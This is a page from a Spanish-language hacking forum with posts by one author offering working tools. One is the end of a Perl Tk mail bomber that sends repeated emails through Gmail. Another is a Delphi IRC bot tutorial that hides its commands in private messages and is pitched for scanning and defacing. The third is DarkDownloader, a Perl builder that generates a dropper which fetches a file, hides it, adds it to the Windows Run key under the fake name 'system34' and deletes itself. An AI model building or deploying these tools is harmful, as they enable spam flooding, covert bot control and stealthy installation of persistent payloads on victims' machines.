  328.         my $filea = $browse->Show;
  329.         $enaf->configure( -text => $filea );
  330.     }
  331.  
  332.     sub bronaxx {
  333.         $fi->configure( -text => $enaf->get );
  334.     }
  335. }
  336.  
  337. sub addmail {
  338.  
  339.     my $add = MainWindow->new(
  340.         -background => $color_fondo,
  341.         -foreground => $color_texto
  342.     );
  343.     $add->geometry("350x90+20+20");
  344.     $add->resizable( 0, 0 );
  345.     $add->title("Add Mail");
  346.  
  347.     $add->Label(
  348.         -text       => "Mail : ",
  349.         -background => $color_fondo,
  350.         -foreground => $color_texto,
  351.         -font       => "Impact1"
  352.     )->place( -x => 10, -y => 30 );
  353.     my $ew = $add->Entry(
  354.         -background => $color_fondo,
  355.         -foreground => $color_texto,
  356.         -width      => 33
  357.     )->place( -y => 33, -x => 60 );
  358.     $add->Button(
  359.         -text             => "Add",
  360.         -background       => $color_fondo,
  361.         -activebackground => $color_texto,
  362.         -foreground       => $color_texto,
  363.         -width            => 7,
  364.         -command          => \&addnow
  365.     )->place( -y => 33, -x => 275 );
  366.  
  367.     sub addnow {
  368.         $mailist->insert( "end", $ew->get );
  369.     }
  370.  
  371. }
  372.  
  373. sub delist {
  374.     $mailist->delete( 0.0, "end" );
  375. }
  376.  
  377. sub spamnow {
  378.  
  379.     $console->delete( 0.1, "end" );
  380.  
  381.     $console->insert( "end", "[+] Starting the Party\n\n" );
  382.  
  383.     my @mails = $mailist->get( "0.0", "end" );
  384.     chomp @mails;
  385.     for my $mail (@mails) {
  386.  
  387.         my $text = $body->get( "1.0", "end" );
  388.  
  389.         if ( $fi->get eq "None" ) {
  390.  
  391.             for ( 1 .. $number->get ) {
  392.  
  393.                 $ve->update;
  394.                 $console->insert( "end",
  395.                     "[+] Mail Number " . $_ . " to $mail\n" );
  396.  
  397.                 sendmail(
  398.                     "smtp.gmail.com", "465",
  399.                     $user->get,       $pass->get,
  400.                     $user->get,       $user->get,
  401.                     $user->get,       $mail,
  402.                     $tema->get,       $text,
  403.                     ""
  404.                 );
  405.             }
  406.  
  407.         }
  408.         else {
  409.  
  410.             for ( 1 .. $number->get ) {
  411.  
  412.                 $ve->update;
  413.                 $console->insert( "end",
  414.                     "[+] Mail Number " . $_ . " to $mail\n" );
  415.  
  416.                 sendmail(
  417.                     "smtp.gmail.com", "465",
  418.                     $user->get,       $pass->get,
  419.                     $user->get,       $user->get,
  420.                     $user->get,       $mail,
  421.                     $tema->get,       $text,
  422.                     $fi->get
  423.                 );
  424.             }
  425.  
  426.         }
  427.     }
  428.     $console->insert( "end", "\n\n[+] Finished" );
  429.  
  430. }
  431.  
  432. sub clean {
  433.  
  434.     $user->configure( -text => " " );
  435.     $pass->configure( -text => " " );
  436.     $number->configure( -text => " " );
  437.     $fi->configure( -text => "None" );
  438.     $tema->configure( -text => " " );
  439.     $body->delete( 0.1, "end" );
  440.     $mailist->delete( 0.0, "end" );
  441.     $console->delete( 0.1, "end" );
  442.  
  443. }
  444.  
  445. sub about {
  446.     $about = MainWindow->new( -background => "black" );
  447.     $about->title("About");
  448.     $about->geometry("300x110");
  449.     $about->resizable( 0, 0 );
  450.     $about->Label( -background => "black", -foreground => "white" )->pack();
  451.     $about->Label(
  452.         -text       => "Contact : lepuke[at]hotmail[com]",
  453.         -font       => "Impact",
  454.         -background => "black",
  455.         -foreground => "white"
  456.     )->pack();
  457.     $about->Label(
  458.         -text       => "Web : doddyhackman.webcindario.com",
  459.         -font       => "Impact",
  460.         -background => "black",
  461.         -foreground => "white"
  462.     )->pack();
  463.     $about->Label(
  464.         -text       => "Blog : doddy-hackman.blogspot.com",
  465.         -font       => "Impact",
  466.         -background => "black",
  467.         -foreground => "white"
  468.     )->pack();
  469. }
  470.  
  471. sub chali { exit(1); }
  472.  
  473. sub sendmail {
  474.  
  475. ## Function Based on : http://code.activestate.com/lists/pdk/5351/
  476. ## Credits : Thanks to Phillip Richcreek and Eric Promislow
  477.  
  478.     my (
  479.         $host, $port, $username, $password, $from, $cc,
  480.         $bcc,  $to,   $asunto,   $mensaje,  $file
  481.     ) = @_;
  482.  
  483.     $correo = Win32::OLE->new('CDO.Message');
  484.  
  485.     $correo->Configuration->Fields->SetProperty( "Item",
  486.         'http://schemas.microsoft.com/cdo/configuration/sendusername',
  487.         $username );
  488.     $correo->Configuration->Fields->SetProperty( "Item",
  489.         'http://schemas.microsoft.com/cdo/configuration/sendpassword',
  490.         $password );
  491.     $correo->Configuration->Fields->SetProperty( "Item",
  492.         'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
  493.     $correo->Configuration->Fields->SetProperty( "Item",
  494.         'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
  495.         $port );
  496.     $correo->Configuration->Fields->SetProperty( "Item",
  497.         'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
  498.     $correo->Configuration->Fields->SetProperty( "Item",
  499.         'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
  500.     $correo->Configuration->Fields->SetProperty( "Item",
  501.         'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
  502.     $correo->Configuration->Fields->Update();
  503.  
  504.     if ( -f $file ) {
  505.         $correo->AddAttachment($file);
  506.     }
  507.  
  508.     $correo->{From}     = $from;
  509.     $correo->{CC}       = $cc;
  510.     $correo->{BCC}      = $bcc;
  511.     $correo->{To}       = $to;
  512.     $correo->{Subject}  = $asunto;
  513.     $correo->{TextBody} = $mensaje;
  514.     $correo->Send();
  515.  
  516. }
  517.  
  518. #The End ?
  519.  
189  Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un IRC Bot en: 24 Septiembre 2013, 21:37 pm
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando
0x08 : Bibliografia

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual sobre como hacer un bot irc.

Para este manual necesitan tener instalado TIdIRC y TPerlRegEx en Delphi , el primero me vino por defecto en Delphi 2010 y el segundo lo pueden bajar e instalar aca

Nota : Proximamente presentare mi irc bot llamado Claptrap en honor al robot de bordelands xDD.

¿ Que es IRC ?

Segun wikipedia , IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real basado en texto, que permite debates entre dos o más personas. Se diferencia de la mensajería instantánea en que los usuarios no deben acceder a establecer la comunicación de antemano, de tal forma que todos los usuarios que se encuentran en un canal pueden comunicarse entre sí, aunque no hayan tenido ningún contacto anterior. Las conversaciones se desarrollan en los llamados canales de IRC, designados por nombres que habitualmente comienzan con el carácter # o & (este último sólo es utilizado en canales locales del servidor). Es un sistema de charlas ampliamente utilizado por personas de todo el mundo.

0x02 : Conectando con el servidor

Lo de siempre , creamos un proyecto nuevo de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho esto vamos a crear la interfaz para todo el manual.

Lo que vamos a necesitar es usar :

6 Labels
3 Edit
3 Botones
1 ListBox (para los usuarios conectados)
2 Memo

Y los componentes TPerlRegEx y IdIRC

Una imagen de como deberia quedar :



Una vez hecho esto llego la hora de realizar la conexion , entonces hacemos doble click en el boton de "conectar" o el nombre que le pusieron ustedes para poner el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. begin
  3.  
  4.   IdIRC1.Host := Edit1.Text; // Usamos el contenido de Edit1 para reconocer el host a conectarse
  5.   IdIRC1.Port := 6667; // Usamos 6667 para el puerto del host
  6.   IdIRC1.Nickname := Edit3.Text; // Usamos el contenido de Edit3.Text como nickname
  7.   IdIRC1.Username := Edit3.Text + ' 1 1 1 1';
  8.   // Declaramos el username para entrar
  9.   IdIRC1.AltNickname := Edit3.Text + '-123'; // Declaramos el nick alternativo
  10.  
  11.   try // Intentamos hacer esto ....
  12.  
  13.     begin
  14.  
  15.       IdIRC1.Connect; // Iniciamos la conexion
  16.       IdIRC1.Join(Edit2.Text); // Usamos Edit2 como el nombre del canal a entrar
  17.  
  18.     end;
  19.  
  20.   except // Si algo sale mal ...
  21.     begin
  22.       ShowMessage('Error'); // Mostramos error con ShowMessage()
  23.  
  24.     end;
  25.   end;
  26.  
  27. end;
  28.  

Una imagen de como quedo :



Con esto ya tenemos la conexion entonces usamos el segundo boton llamado "desconectar" o el nombre que ustedes le pusieron , hacemos doble click y agregamos este codigo :

Código
  1. procedure TForm1.Button2Click(Sender: TObject);
  2. begin
  3.   IdIRC1.Disconnect; // Nos desconectamos del canal en el que estamos
  4. end;
  5.  

Se podria decir que con esto ya tenemos para conectarnos y desconectarmos del canal sin ningun problema.

Pero para variar las cosas vamos a usar el memo1 como consola de las cosas que pasan durante la conexion , entonces vamos al diseño del formulario , buscamos el IdIRC1 , le hacemos un solo click y nos fijamos en object inspector para despues ir
a la parte de eventos , buscamos el evento OnRaw , le hacemos doble click y agregamos este codigo :

Código
  1. procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  2.   const AMessage: string);
  3. begin
  4.   Memo1.Lines.Add(AMessage); // Agregamos al memo1 lo que AMessage recibe
  5. end;
  6.  


Una imagen de donde esta la parte del evento y de paso muestro como quedo el codigo :



Eso seria la parte de como conectarnos y desconectarnos de un canal irc.

0x03 : Listando usuarios

Esta es la parte en la que usamos PerlRegEx , que es un componente que nos permite usar las expresiones regualares de Perl en Delphi.

Entonces buscamos el evento "NicknamesListReceived" en el componente IdIRC1 que esta en el formulario para hacer doble click en el evento y poner el siguiente codigo.

Código
  1. procedure TForm1.IdIRC1NicknamesListReceived
  2.   (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
  3. var
  4.   i: integer; // Declaramos i como entero
  5.   i2: integer; // Declaramos i2 como entero
  6.   renicks: string; // Declaramos renicks como string
  7.   listanow: TStringList; // Declaramos listanow como StringList
  8.   arraynow: array of String; // Declaramos arraynow como array of string
  9.  
  10. begin
  11.  
  12.   ListBox1.Clear; // Limpiamos el contenido de ListBox1
  13.  
  14.   for i := 0 to ANicknameList.Count - 1 do // Listamos con for los nicks que se encuentran
  15.   // en ANicknameList
  16.   begin
  17.  
  18.     PerlRegEx1.Regex := '(.*) = ' + Edit2.Text + ' :(.*)';
  19.     // Establecemos la expresion regular
  20.     // a usar
  21.  
  22.     PerlRegEx1.Subject := ANicknameList[i]; // Buscamos el nick en ANicknameList
  23.  
  24.     if PerlRegEx1.Match then // Si perlregex encuentra algo ...
  25.     begin
  26.       renicks := PerlRegEx1.SubExpressions[2]; // Declaramos como renicks el segundo resultado de
  27.       // la expresion regular
  28.  
  29.       renicks := StringReplace(renicks, Edit3.Text, '', []);
  30.       // Borramos de renicks el nombre
  31.       // de nuestro bot
  32.  
  33.       listanow := TStringList.Create; // Declaramos como TStringList a listanow
  34.       listanow.Delimiter := ' '; // Establecemos que se busque los nicks entre espacios en blanco
  35.       listanow.DelimitedText := renicks; // Realizamos la busqueda
  36.  
  37.       for i2 := 0 to listanow.Count - 1 do // Listamos la lista 'listanow' que contiene los nicks
  38.       begin
  39.         ListBox1.Items.Add(listanow[i2]); // Agregamos a ListBox1 los nicks encontrados
  40.       end;
  41.  
  42.     end;
  43.  
  44.   end;
  45.  
  46. end;
  47.  

Les dejo una imagen de como nos deberia quedar el codigo y de donde esta el evento que usamos.



0x04 : Mandar mensajes

Mandar mensajes usando el componente de indy es muy facil , solo tenemos que hacer doble click en el tercer boton , en mi caso le puse de texto "spam now" , ustedes pueden
ponerle el que quieran , cuando este en el codigo del formulario en la parte del tercer boton pongan el siguiente codigo.

Código
  1. procedure TForm1.Button3Click(Sender: TObject);
  2. var
  3.   i: integer; // Declaramos i como entero
  4. begin
  5.   IdIRC1.Say(Edit2.Text, 'hola publico'); // Mandamos un mensaje publico al canal en el que
  6.   // estamos
  7.   for i := 0 to ListBox1.Count - 1 do // Abrimos los items de listbox usando un for
  8.   begin
  9.     IdIRC1.Say(ListBox1.Items[i], 'hola privado');
  10.     // Mandamos un privado al nick de la lista
  11.   end;
  12.  
  13. end;
  14.  

Una imagen de como les deberia quedar el codigo :



0x05 : Recibir privados

Otra cosa facil de hacer gracias a el componente de indy es que se pueden recibir y leer los mensajes privados que nos mandan , para hacer esto vamos al evento OnPrivateMessage de IdIRC y ponemos
el siguiente codigo.

Código
  1. procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  2.   AHost, ANicknameTo, AMessage: string);
  3. begin
  4.   Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage); // Mostramos en el memo3 el nickname
  5.   // de quien nos esta mandando el mensaje y ':' que separa el nick del mensaje que nos
  6.   // enviaron
  7. end;
  8.  

Una imagen de donde esta el evento y como quedo el codigo.



0x06 : Reconocer comandos

Esta es la parte mas importante en un irc bot , que es para poder mandar comandos al bot o hacer cierta cosa como un SQLiScanner o AdminFinder u otra cosa para dichoso
Defacing.

Para hacer esto nos vamos a basar en mensajes privados , de esa forma no estamos delatando al bot en el canal publico , entonces volvemos al evento OnPrivateMessage del punto
anterior para actualizarlo con este codigo nuevo :

Código
  1. procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  2.   AHost, ANicknameTo, AMessage: string);
  3. begin
  4.  
  5.   Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage);
  6.  
  7.   // Mostramos en el memo3 el nickname
  8.   // de quien nos esta mandando el mensaje y tambien ':' que separa el nick del mensaje que nos
  9.   // enviaron
  10.  
  11.   PerlRegEx1.Regex := '!help'; // Usamos esta linea para comprobar si AMessage contiene !help
  12.   PerlRegEx1.Subject := AMessage; // Buscamos en  AMessage
  13.  
  14.   if PerlRegEx1.Match then // Si se encontro ....
  15.   begin
  16.     IdIRC1.Say(ANicknameFrom,
  17.       'el comando disponible es : !scanear <cmd1> <cmd2>');
  18.     // Respondemos
  19.     // con el unico comando disponible
  20.   end;
  21.  
  22.   PerlRegEx1.Regex := '!scanear (.*) (.*)'; // Capturamos lo que se encuentre a la derecha de
  23.   // !scanear y hacemos un espacio para capturar lo que
  24.   // esta al lado de lo que encontramos
  25.   // en realidad son dos comandos
  26.   PerlRegEx1.Subject := AMessage; // Buscamos los dos comandos en AMessage que
  27.   // contiene el mensaje que nos estan enviando
  28.  
  29.   if PerlRegEx1.Match then // Si se encontro algo ...
  30.   begin
  31.     IdIRC1.Say(ANicknameFrom, 'comando 1 : ' + PerlRegEx1.SubExpressions[1]);
  32.     // Le respondemos
  33.     // al que nos envio el mensaje privado con el valor del primer comando que nos envio
  34.     IdIRC1.Say(ANicknameFrom, 'comando 2 : ' + PerlRegEx1.SubExpressions[2]);
  35.     // Le respondemos
  36.     // al que nos envio el mensaje privado con el valor del segundo comando que nos envio
  37.   end;
  38.  
  39. end;
  40.  

Una imagen de donde esta el evento y de como quedo el codigo.



0x07 : Testeando

Una vez hecho todo esto podemos probar como quedo todo , les dejo unas imagenes que de como
funciona.







Eso seria todo

0x08 : Bibliografia

http://es.wikipedia.org/wiki/Internet_Relay_Chat
http://delphiallimite.blogspot.com.ar/2007/09/creando-un-cliente-de-chat-irc-con-indy_18.html
http://delphiallimite.blogspot.com.ar/2007/09/creando-un-cliente-de-chat-irc-con-indy.html

--========--
  The End ?
--========--

Version PDF
190  Programación / Scripting / [Perl Tk] DarkDownloader 0.1 en: 20 Septiembre 2013, 20:56 pm
Un simple script en perl para descargar archivos con las siguientes opciones :

  • Bajar el archivo y cambiar el nombre
  • Mover a otro directorio el archivo descargado
  • Ocultar archivo
  • Cargar cada vez que inicie Windows
  • Autoborrarse despues de terminar todo

Una imagen :



El codigo :

Código
  1. #!usr/bin/perl
  2. #DarkDownloader 0.1
  3. #Coded By Doddy H
  4. #Command : perl2exe -gui gen_download.pl
  5.  
  6. use Tk;
  7.  
  8. my $color_fondo = "black";
  9. my $color_texto = "green";
  10.  
  11. if ( $^O eq 'MSWin32' ) {
  12.     use Win32::Console;
  13.     Win32::Console::Free();
  14. }
  15.  
  16. my $ven =
  17.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  18. $ven->geometry("340x320+20+20");
  19. $ven->resizable( 0, 0 );
  20. $ven->title("DarkDownloader 0.1");
  21.  
  22. $ven->Label(
  23.     -text       => "Link : ",
  24.     -font       => "Impact",
  25.     -background => $color_fondo,
  26.     -foreground => $color_texto
  27. )->place( -x => 20, -y => 20 );
  28. my $link = $ven->Entry(
  29.     -text       => "http://localhost/test.exe",
  30.     -width      => 40,
  31.     -background => $color_fondo,
  32.     -foreground => $color_texto
  33. )->place( -x => 60, -y => 25 );
  34.  
  35. $ven->Label(
  36.     -text       => "-- == Options == --",
  37.     -background => $color_fondo,
  38.     -foreground => $color_texto,
  39.     -font       => "Impact"
  40. )->place( -x => 90, -y => 60 );
  41.  
  42. $ven->Checkbutton(
  43.     -activebackground => $color_texto,
  44.     -background       => $color_fondo,
  45.     -foreground       => $color_texto,
  46.     -text             => "Save File with this name : ",
  47.     -variable         => \$op_save_file_name
  48. )->place( -x => 20, -y => 100 );
  49. my $save_file_with_name = $ven->Entry(
  50.     -width      => 20,
  51.     -text       => "testar.exe",
  52.     -background => $color_fondo,
  53.     -foreground => $color_texto
  54. )->place( -x => 170, -y => 100 );
  55.  
  56. $ven->Checkbutton(
  57.     -activebackground => $color_texto,
  58.     -background       => $color_fondo,
  59.     -foreground       => $color_texto,
  60.     -text             => "Save File in this directory : ",
  61.     -variable         => \$op_save_in_dir
  62. )->place( -x => 20, -y => 130 );
  63. my $save_file_in_this_dir = $ven->Entry(
  64.     -background => $color_fondo,
  65.     -foreground => $color_texto,
  66.     -width      => 20,
  67.     -text       => "C:/WINDOWS/sexnow/"
  68. )->place( -x => 170, -y => 130 );
  69.  
  70. $ven->Checkbutton(
  71.     -activebackground => $color_texto,
  72.     -background       => $color_fondo,
  73.     -foreground       => $color_texto,
  74.     -text             => "Hide File",
  75.     -variable         => \$op_hide
  76. )->place( -x => 20, -y => 160 );
  77.  
  78. $ven->Checkbutton(
  79.     -activebackground => $color_texto,
  80.     -background       => $color_fondo,
  81.     -foreground       => $color_texto,
  82.     -text             => "Load each time you start Windows",
  83.     -variable         => \$op_regedit
  84. )->place( -x => 20, -y => 190 );
  85.  
  86. $ven->Checkbutton(
  87.     -activebackground => $color_texto,
  88.     -background       => $color_fondo,
  89.     -foreground       => $color_texto,
  90.     -text             => "AutoDelete",
  91.     -variable         => \$op_chau
  92. )->place( -x => 20, -y => 220 );
  93.  
  94. $ven->Button(
  95.     -command          => \&genow,
  96.     -activebackground => $color_texto,
  97.     -background       => $color_fondo,
  98.     -foreground       => $color_texto,
  99.     -text             => "Generate !",
  100.     -font             => "Impact",
  101.     -width            => 30
  102. )->place( -x => 40, -y => 260 );
  103.  
  104. MainLoop;
  105.  
  106. sub genow {
  107.  
  108.     my $code_now = q(#!usr/bin/perl
  109. #DarkDownloader 0.1
  110. #Coded By Doddy H
  111.  
  112. use LWP::UserAgent;
  113. use File::Basename;
  114. use File::Copy qw(move);
  115. use Win32::File;
  116. use Win32::TieRegistry( Delimiter => "/" );
  117. use Cwd;
  118.  
  119. my $nave = LWP::UserAgent->new;
  120. $nave->agent(
  121. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  122. );
  123. $nave->timeout(5);
  124.  
  125. # Config
  126.  
  127. my $link                      = "ACA_VA_TU_LINK";
  128. my $op_bajar_con_este_nombre  = ACA_VA_TU_OP_NOMBRE;
  129. my $op_bajar_con_este_nombrex = "ACA_VA_TU_OP_NOMBREX";
  130. my $op_en_este_dir            = ACA_VA_TU_OP_DIR;
  131. my $op_en_este_dirx           = "ACA_VA_TU_OP_DIRX";
  132. my $op_ocultar_archivos       = ACA_VA_TU_OP_HIDE;
  133. my $op_agregar_al_registro    = ACA_VA_TU_OP_REG;
  134. my $op_chau                   = ACA_VA_TU_CHAU;
  135.  
  136. #
  137.  
  138. # Download File
  139.  
  140. if ( $op_bajar_con_este_nombre eq 1 ) {
  141.     download( $link, $op_bajar_con_este_nombrex );
  142. }
  143. else {
  144.     download( $link, basename($link) );
  145. }
  146.  
  147. # Change Directory
  148.  
  149. if ( $op_en_este_dir eq 1 ) {
  150.  
  151.     unless ( -d $op_en_este_dirx ) {
  152.         mkdir( $op_en_este_dirx, 777 );
  153.     }
  154.  
  155.     if ( $op_bajar_con_este_nombre eq 1 ) {
  156.         move( $op_bajar_con_este_nombrex,
  157.             $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex );
  158.     }
  159.     else {
  160.         move( basename($link), $op_en_este_dirx );
  161.     }
  162.  
  163. }
  164.  
  165. # HIDE FILES
  166.  
  167. if ( $op_ocultar_archivos eq 1 ) {
  168.  
  169.     hideit( basename($link),                                     "hide" );
  170.     hideit( $op_en_este_dirx,                                    "hide" );
  171.     hideit( $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex, "hide" );
  172.  
  173. }
  174.  
  175. # REG ADD
  176.  
  177. if ( $op_agregar_al_registro eq 1 ) {
  178.  
  179.     if ( $op_bajar_con_este_nombre eq 1 ) {
  180.  
  181.         if ( $op_en_este_dir eq 1 ) {
  182.             $Registry->{
  183. "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
  184.               } = $op_en_este_dirx
  185.               . "/"
  186.               . $op_bajar_con_este_nombrex;
  187.         }
  188.         else {
  189.             $Registry->{
  190. "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
  191.               } = getcwd()
  192.               . "/"
  193.               . $op_bajar_con_este_nombrex;
  194.         }
  195.  
  196.     }
  197.     else {
  198.  
  199.         if ( $op_en_este_dir eq 1 ) {
  200.             $Registry->{
  201. "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
  202.               } = $op_en_este_dirx
  203.               . "/"
  204.               . basename($link);
  205.         }
  206.         else {
  207.             $Registry->{
  208. "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
  209.               } = getcwd()
  210.               . "/"
  211.               . basename($link);
  212.         }
  213.     }
  214.  
  215. }
  216.  
  217. ## Boom !
  218.  
  219. if ( $op_chau eq 1 ) {
  220.  
  221.     unlink($0);
  222.  
  223. }
  224.  
  225. ##
  226.  
  227. sub hideit {
  228.     if ( $_[1] eq "show" ) {
  229.         Win32::File::SetAttributes( $_[0], NORMAL );
  230.     }
  231.     elsif ( $_[1] eq "hide" ) {
  232.    winkey     Win32::File::SetAttributes( $_[0], HIDDEN );
  233.     }
  234. }
  235.  
  236. sub download {
  237.     if ( $nave->mirror( $_[0], $_[1] ) ) {
  238.         if ( -f $_[1] ) {
  239.             return true;
  240.         }
  241.     }
  242. }
  243.  
  244. # The End ?);
  245.  
  246.     my $link     = $link->get;
  247.     my $new_file = $save_file_with_name->get;
  248.     my $new_dir  = $save_file_in_this_dir->get;
  249.  
  250.     $code_now =~ s/ACA_VA_TU_LINK/$link/;
  251.  
  252.     if ( $op_save_file_name eq 1 ) {
  253.         $code_now =~ s/ACA_VA_TU_OP_NOMBRE/1/;
  254.     }
  255.     else {
  256.         $code_now =~ s/ACA_VA_TU_OP_NOMBRE/0/;
  257.     }
  258.  
  259.     $code_now =~ s/ACA_VA_TU_OP_NOMBREX/$new_file/;
  260.  
  261.     if ( $op_save_in_dir eq 1 ) {
  262.         $code_now =~ s/ACA_VA_TU_OP_DIR/1/;
  263.     }
  264.     else {
  265.         $code_now =~ s/ACA_VA_TU_OP_DIR/0/;
  266.     }
  267.  
  268.     $code_now =~ s/ACA_VA_TU_OP_DIRX/$new_dir/;
  269.  
  270.     if ( $op_hide eq 1 ) {
  271.         $code_now =~ s/ACA_VA_TU_OP_HIDE/1/;
  272.     }
  273.     else {
  274.         $code_now =~ s/ACA_VA_TU_OP_HIDE/0/;
  275.     }
  276.  
  277.     if ( $op_regedit eq 1 ) {
  278.         $code_now =~ s/ACA_VA_TU_OP_REG/1/;
  279.     }
  280.     else {
  281.         $code_now =~ s/ACA_VA_TU_OP_REG/0/;
  282.     }
  283.  
  284.     if ( $op_chau eq 1 ) {
  285.         $code_now =~ s/ACA_VA_TU_CHAU/1/;
  286.     }
  287.     else {
  288.         $code_now =~ s/ACA_VA_TU_CHAU/0/;
  289.     }
  290.  
  291.     if ( -f gen_download . pl ) {
  292.         unlink("gen_download.pl");
  293.     }
  294.  
  295.     open( FILE, ">>gen_download.pl" );
  296.     print FILE $code_now;
  297.     close FILE;
  298.  
  299.     $ven->Dialog(
  300.         -title            => "Oh Yeah",
  301.         -buttons          => ["OK"],
  302.         -text             => "Enjoy this downloader",
  303.         -background       => $color_fondo,
  304.         -foreground       => $color_texto,
  305.         -activebackground => $color_texto
  306.     )->Show();
  307.  
  308. }
  309.  
  310. #The End ?
  311.  
Páginas: 1 ... 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [19] 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines